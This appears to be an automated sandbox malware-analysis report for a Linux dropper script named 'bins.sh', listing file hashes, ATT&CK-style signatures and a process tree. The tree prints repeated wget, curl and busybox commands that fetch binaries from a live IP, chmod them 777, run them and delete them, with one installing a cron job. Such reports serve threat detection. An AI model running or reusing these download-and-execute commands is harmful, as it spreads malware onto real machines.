Analysis

  • max time kernel
    149s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26-11-2024 00:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    37357ffd59785e960234aeda3f40d4ac

  • SHA1

    242f8c3cabbfb4fc2269ac9cb4f70799e359605a

  • SHA256

    c29e92ac6566d1ec9d59ad27fbfcd464525e7c534aab1ab1788982760262ac1f

  • SHA512

    dfd720863adfcf722a8920a49badf4ded1d0b3581e7d554c71ff809cff20b0029093f13050ae92c694fe201ebbe6c4ab988e0d6cc88682cad2f05646459d8b4a

  • SSDEEP

    192:JMVZbmWrYr4r6r5r1rcRZWBrYr4r6r5r1r0N:qVZbmw2W0htcRsp2W0ht0N

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1483
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1484
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Toy4484Pv4ZcQfc0Jcx1Hlg3PYQ0ZxkDVp
          2⤵
          • Writes file to tmp directory
          PID:1485
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Toy4484Pv4ZcQfc0Jcx1Hlg3PYQ0ZxkDVp
          2⤵
          • Writes file to tmp directory
          PID:1499
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Toy4484Pv4ZcQfc0Jcx1Hlg3PYQ0ZxkDVp
          2⤵
          • Writes file to tmp directory
          PID:1502
        • /bin/chmod
          chmod 777 Toy4484Pv4ZcQfc0Jcx1Hlg3PYQ0ZxkDVp
          2⤵
          • File and Directory Permissions Modification
          PID:1503
        • /tmp/Toy4484Pv4ZcQfc0Jcx1Hlg3PYQ0ZxkDVp
          ./Toy4484Pv4ZcQfc0Jcx1Hlg3PYQ0ZxkDVp
          2⤵
          • Executes dropped EXE
          PID:1504
        • /bin/rm
          rm Toy4484Pv4ZcQfc0Jcx1Hlg3PYQ0ZxkDVp
          2⤵
            PID:1506
          • /usr/bin/wget
            wget http://216.126.231.240/bins/YD7ZSI5Dl4zrIf3wNUOI9EL2NbDXZXiBoC
            2⤵
            • Writes file to tmp directory
            PID:1507
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/YD7ZSI5Dl4zrIf3wNUOI9EL2NbDXZXiBoC
            2⤵
            • Writes file to tmp directory
            PID:1509
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/YD7ZSI5Dl4zrIf3wNUOI9EL2NbDXZXiBoC
            2⤵
            • Writes file to tmp directory
            PID:1510
          • /bin/chmod
            chmod 777 YD7ZSI5Dl4zrIf3wNUOI9EL2NbDXZXiBoC
            2⤵
            • File and Directory Permissions Modification
            PID:1511
          • /tmp/YD7ZSI5Dl4zrIf3wNUOI9EL2NbDXZXiBoC
            ./YD7ZSI5Dl4zrIf3wNUOI9EL2NbDXZXiBoC
            2⤵
            • Executes dropped EXE
            PID:1512
          • /bin/rm
            rm YD7ZSI5Dl4zrIf3wNUOI9EL2NbDXZXiBoC
            2⤵
              PID:1514
            • /usr/bin/wget
              wget http://216.126.231.240/bins/0qMtzzeCnTcQyQ8aPKe6CSlUczf4IeWrCO
              2⤵
              • Writes file to tmp directory
              PID:1515
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/0qMtzzeCnTcQyQ8aPKe6CSlUczf4IeWrCO
              2⤵
              • Writes file to tmp directory
              PID:1516
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/0qMtzzeCnTcQyQ8aPKe6CSlUczf4IeWrCO
              2⤵
              • Writes file to tmp directory
              PID:1517
            • /bin/chmod
              chmod 777 0qMtzzeCnTcQyQ8aPKe6CSlUczf4IeWrCO
              2⤵
              • File and Directory Permissions Modification
              PID:1518
            • /tmp/0qMtzzeCnTcQyQ8aPKe6CSlUczf4IeWrCO
              ./0qMtzzeCnTcQyQ8aPKe6CSlUczf4IeWrCO
              2⤵
              • Executes dropped EXE
              PID:1519
            • /bin/rm
              rm 0qMtzzeCnTcQyQ8aPKe6CSlUczf4IeWrCO
              2⤵
                PID:1521
              • /usr/bin/wget
                wget http://216.126.231.240/bins/iFYomQZ8vCZBRDoCRSILVkbbU6bgO59GQ2
                2⤵
                • Writes file to tmp directory
                PID:1522
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/iFYomQZ8vCZBRDoCRSILVkbbU6bgO59GQ2
                2⤵
                • Writes file to tmp directory
                PID:1523
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/iFYomQZ8vCZBRDoCRSILVkbbU6bgO59GQ2
                2⤵
                • Writes file to tmp directory
                PID:1524
              • /bin/chmod
                chmod 777 iFYomQZ8vCZBRDoCRSILVkbbU6bgO59GQ2
                2⤵
                • File and Directory Permissions Modification
                PID:1525
              • /tmp/iFYomQZ8vCZBRDoCRSILVkbbU6bgO59GQ2
                ./iFYomQZ8vCZBRDoCRSILVkbbU6bgO59GQ2
                2⤵
                • Executes dropped EXE
                PID:1526
              • /bin/rm
                rm iFYomQZ8vCZBRDoCRSILVkbbU6bgO59GQ2
                2⤵
                  PID:1528
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/uUfDQSmrZkAc6RT17i3hmLsNxLjLtqZOTI
                  2⤵
                  • Writes file to tmp directory
                  PID:1529
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/uUfDQSmrZkAc6RT17i3hmLsNxLjLtqZOTI
                  2⤵
                  • Writes file to tmp directory
                  PID:1530
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/uUfDQSmrZkAc6RT17i3hmLsNxLjLtqZOTI
                  2⤵
                  • Writes file to tmp directory
                  PID:1531
                • /bin/chmod
                  chmod 777 uUfDQSmrZkAc6RT17i3hmLsNxLjLtqZOTI
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1532
                • /tmp/uUfDQSmrZkAc6RT17i3hmLsNxLjLtqZOTI
                  ./uUfDQSmrZkAc6RT17i3hmLsNxLjLtqZOTI
                  2⤵
                  • Executes dropped EXE
                  PID:1533
                • /bin/rm
                  rm uUfDQSmrZkAc6RT17i3hmLsNxLjLtqZOTI
                  2⤵
                    PID:1535
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/gk0H0spXFjpiZ7zsnQWJxmvlETDiLzuvHG
                    2⤵
                    • Writes file to tmp directory
                    PID:1536
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/gk0H0spXFjpiZ7zsnQWJxmvlETDiLzuvHG
                    2⤵
                    • Writes file to tmp directory
                    PID:1537
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/gk0H0spXFjpiZ7zsnQWJxmvlETDiLzuvHG
                    2⤵
                    • Writes file to tmp directory
                    PID:1538
                  • /bin/chmod
                    chmod 777 gk0H0spXFjpiZ7zsnQWJxmvlETDiLzuvHG
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1539
                  • /tmp/gk0H0spXFjpiZ7zsnQWJxmvlETDiLzuvHG
                    ./gk0H0spXFjpiZ7zsnQWJxmvlETDiLzuvHG
                    2⤵
                    • Executes dropped EXE
                    PID:1540
                  • /bin/rm
                    rm gk0H0spXFjpiZ7zsnQWJxmvlETDiLzuvHG
                    2⤵
                      PID:1542
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/bdjQNE25TbHW3ndo5LoetsxBW5X6DFbsGR
                      2⤵
                      • Writes file to tmp directory
                      PID:1543
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/bdjQNE25TbHW3ndo5LoetsxBW5X6DFbsGR
                      2⤵
                      • Writes file to tmp directory
                      PID:1544
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/bdjQNE25TbHW3ndo5LoetsxBW5X6DFbsGR
                      2⤵
                      • Writes file to tmp directory
                      PID:1545
                    • /bin/chmod
                      chmod 777 bdjQNE25TbHW3ndo5LoetsxBW5X6DFbsGR
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1546
                    • /tmp/bdjQNE25TbHW3ndo5LoetsxBW5X6DFbsGR
                      ./bdjQNE25TbHW3ndo5LoetsxBW5X6DFbsGR
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:1547
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:1549
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1550
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:1551
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:1552
                          • /bin/rm
                            rm bdjQNE25TbHW3ndo5LoetsxBW5X6DFbsGR
                            2⤵
                              PID:1554
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/QD5UIaB3wdpESo5KN90SShCwKUnqL4JVbl
                              2⤵
                                PID:1557

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/0qMtzzeCnTcQyQ8aPKe6CSlUczf4IeWrCO

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/Toy4484Pv4ZcQfc0Jcx1Hlg3PYQ0ZxkDVp

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/YD7ZSI5Dl4zrIf3wNUOI9EL2NbDXZXiBoC

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/bdjQNE25TbHW3ndo5LoetsxBW5X6DFbsGR

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /tmp/gk0H0spXFjpiZ7zsnQWJxmvlETDiLzuvHG

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/iFYomQZ8vCZBRDoCRSILVkbbU6bgO59GQ2

                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            • /tmp/uUfDQSmrZkAc6RT17i3hmLsNxLjLtqZOTI

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /var/spool/cron/crontabs/tmp.y8GZR8

                              Filesize

                              210B

                              MD5

                              b7815dbc01c221b5d8f101ce8dfba7bb

                              SHA1

                              a56bf965700b81be82e6acc6780751a35c9efb3d

                              SHA256

                              3e19911fadeb087c8d267387fcea9b285bff3358255c6c0ce6893af1fcbc25a3

                              SHA512

                              f71801bdb12259ef7c989540353e5fb6612ac4eddfec038d82057d6b9f30ee97142a43f54d2b1c6e776f3c96b394e3ab29a7eb0022c0005d43a1b41f713ad7fa